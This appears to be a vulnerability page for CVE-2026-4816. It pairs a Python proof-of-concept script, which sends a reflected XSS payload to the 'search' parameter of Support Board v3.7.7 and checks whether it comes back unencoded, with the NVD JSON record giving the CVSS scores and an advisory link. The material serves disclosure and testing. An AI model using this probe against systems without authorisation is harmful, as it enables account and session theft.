CVE-2026-4816

# Proof of Concept for CVE-2026-4816 # Target: Support Board v3.7.7 # Vulnerable Endpoint: /supportboard/include/articles.php # Vulnerable Parameter: search import requests target_url = "http://target.com/supportboard/include/articles.php" # Malicious payload to demonstrate XSS execution # Using a simple script tag to test reflection xss_payload = "<script>alert('CVE-2026-4816_XSS');</script>" parameters = { "search": xss_payload } try: response = requests.get(target_url, params=parameters, timeout=5) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected unfiltered.") print("[+] Target URL: " + response.url) else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-4816", "sourceIdentifier": "[email protected]", "published": "2026-03-25T14:16:40.300", "lastModified": "2026-03-26T14:53:28.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross Site Scripting (XSS) vulnerability has been found in Support Board v3.7.7. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending the victim a malicious URL using the 'search' parameter in '/supportboard/include/articles.php'. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user."}, {"lang": "es", "value": "Una vulnerabilidad de Cross Site Scripting Reflejado (XSS) ha sido encontrada en Support Board v3.7.7. Esta vulnerabilidad permite a un atacante ejecutar código JavaScript en el navegador de la víctima enviándole una URL maliciosa utilizando el parámetro 'search' en '/supportboard/include/articles.php'. Esta vulnerabilidad puede ser explotada para robar datos sensibles del usuario, como cookies de sesión, o para realizar acciones en nombre del usuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:schiocco:support_board:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.7.8", "matchCriteriaId": "47462996-66AF-40DF-ABE4-A0150B509FEB"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-support-board-schiocco", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}